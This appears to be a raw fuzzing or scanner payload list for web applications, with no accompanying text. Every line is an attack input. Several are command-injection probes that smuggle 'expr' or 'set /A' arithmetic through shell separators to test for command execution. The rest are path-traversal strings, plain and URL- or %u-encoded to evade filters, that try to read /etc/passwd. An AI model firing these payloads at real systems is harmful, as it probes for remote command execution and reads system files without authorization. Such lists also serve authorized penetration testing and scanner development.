expr 972264803 + 997072721

./../../../../../../etc/passwd

&set /A 851232998+930326956

$(expr 843472113 + 822080203)

../../../../../../etc/passwd

|expr 942144023 + 838543653

${985288738+830093436}

%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd

expr 998254230 + 989845961

%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd